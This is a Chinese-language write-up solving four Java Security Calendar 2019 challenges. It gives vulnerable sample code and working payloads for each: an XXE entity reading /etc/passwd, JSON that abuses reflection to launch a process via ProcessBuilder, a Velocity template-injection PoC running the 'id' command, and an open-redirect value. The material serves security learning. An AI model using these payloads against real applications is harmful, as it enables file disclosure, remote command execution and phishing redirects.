java_security_calendar_2019(day1-day4)

day1

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import org.jdom2.Content;
import org.jdom2.Document;
import org.jdom2.JDOMException;
import org.jdom2.input.SAXBuilder;

public class ImportDocument {
// This function extracts the text of an OpenOffice document
public static String extractString() throws IOException, JDOMException {
File initialFile = new File("uploaded_office_doc.odt");
InputStream in = new FileInputStream(initialFile);
final ZipInputStream zis = new ZipInputStream(in);
ZipEntry entry;
List<Content> content = null;
while ((entry = zis.getNextEntry()) != null) {
if (entry.getName().equals("content.xml")) {
final SAXBuilder sax = new org.jdom2.input.SAXBuilder();
sax.setFeature("http://javax.xml.XMLConstants/feature/secure-processing",true);
Document doc = sax.build(zis);
content = doc.getContent();
zis.close();
break;
}
}
StringBuilder sb = new StringBuilder();
if (content != null) {
for(Content item : content){
sb.append(item.getValue());
}
}
return sb.toString();
}
}

先对示例代码稍微修改,让程序一会能运行起来。

限制文件名“uploaded_office_doc.odt”,暂不考滤zip漏洞,看到使用SaxBuilder,同时没有禁用外部实体,xxe漏洞没准了,这里使用了org.jdom2.input.SAXBuilder()方法该文件进行解析,

新建content.xml文件,

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT text ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>

压缩成uploaded_office_doc.odt文件,执行jar包。

day2

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import org.json.*;

public class MainController{
private static String[] parseJsonAsArray(String rawJson, String field) {
JSONObject obj = new JSONObject(rawJson);
JSONArray arrJson = obj.getJSONArray(field);
String[] arr = new String[arrJson.length()];
for (int i = 0; i < arrJson.length(); i++) {
arr[i] = arrJson.getString(i);
}
return arr;
}

private static String parseJsonAsString(String rawJson, String field) {
JSONObject obj = new JSONObject(rawJson);
return obj.getString(field);
}

// rawJson is user-controlled.
public MainController(String rawJson) {
this(parseJsonAsString(rawJson, "controller"), parseJsonAsString(rawJson, "task"), parseJsonAsArray(rawJson, "data"));
}

private MainController(String controllerName, String task, String... data) {
try {
Object controller = !controllerName.equals("MainController") ? Class.forName(controllerName).getConstructor(String[].class).newInstance((Object) data) : this;
System.out.println(controller.getClass().getMethod(task));
controller.getClass().getMethod(task).invoke(controller);
} catch (Exception e1) {
try {
String log = "# [ERROR] Exception with data: " + data + " with exception " + e1;
System.err.println(log);
// DONE: VulnApp Security Bug #23517: Strip all "dots" so file extension does not lead to RCE
Runtime.getRuntime().exec(new String[]{"java", "-jar", "log4j_custom_dlogger.jar", log.replaceAll(".", "")});
// TODO: VulnApp Bug #24630: Logging is currently not working in v1.8,
// something with an ArgumentException, please have alook at that @peter
} catch (Exception e2) {
System.err.println("FATAL ERROR: " + e2);
}
}
}
}

关键代码如下:

1
2
3
Object controller = !controllerName.equals("MainController") ? Class.forName(controllerName).getConstructor(String[].class).newInstance((Object) data) : this;
System.out.println(controller.getClass().getMethod(task));
controller.getClass().getMethod(task).invoke(controller);

首先进行判断,如果controllerName不是MainController的话,则会通过传递过来data值,进行构造一个新的对象。同时传递过来task做为新的方法,典型的任意命令执行,故构造如下payload:

1
String rawJson =  "{\"controller\":\"java.lang.ProcessBuilder\",\"task\":\"start\",\"data\":[\"open\",\"/System/Applications/Calculator.app\"]}";

运行结果如下:

day3

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.velocity.app.VelocityEngine;
import org.apache.velocity.VelocityContext;
import java.util.HashMap;
import java.util.Map;

public class TemplateRenderer {
private final VelocityEngine velocity;

public String renderFragment(String fragment, Map<String,Object> contextParameters) {
velocity = new VelocityEngine();
velocity.init();
VelocityContext context = new VelocityContext(contextParameters);
StringWriter tempWriter = new StringWriter(fragment.length());
velocity.evaluate(context, tempWriter, "renderFragment", fragment);
return tempWriter.toString();
}

public String render(HttpServletRequest req, HttpServletResponse res) {
Map<String, Object> hm = new HashMap<String, Object>();
hm.put("user", req.getParameter("user"));
String template = req.getParameter("temp");
String rendered = renderFragment(template,hm);
res.getWriter().println(rendered);
}
}

稍微修改,让代码能跑起来。
一看用的Velocity,想到Velocity模版注入,使用solr Velocity模版注入时的poc(url解码后)

1
2
3
4
5
6
7
8
#set($x='')
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($str=$x.class.forName('java.lang.String'))
#set($ex=$rt.getRuntime().exec('id')) $ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))
#end

执行结果:

poc说明

  1. set
    指令用来为引用设置相应的值。值可以被值派给变量引用或者是属性引用,而且赋值要在括号里括起来。
    如:
1
2
#set( $primate = "monkey" )
#set( $customer.Behavior = $primate )
  1. foreach
1
2
3
#foreach ($userName in $userList)
Name is. $userName
#end

关键代码为:

1
velocity.evaluate(context, tempWriter, "renderFragment", fragment);

在此下断点后,运行代码,经调试后,发现有一个execute方法,将传入的字符,做为代码执行。同时在示例代码中对用户传入的”temp“特殊字符检测。

day4

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
import javax.servlet.http.*;

public class Login extends HttpServlet {
protected void doPost(HttpServletRequest request,
HttpServletResponse response) {
String url = request.getParameter("url");
//only relative urls are allowed!
if (url.startsWith("/")) {
response.sendRedirect(url);
}
}
}

稍微修改代码,让其能在idea中跑起来,看到sendRedirect(),重定向漏洞~ post请求通过传入一个“url”,这个值只要是以“/“开头的就可以进行跳转。

Payoad:

1
url://baidu.com

执行结果: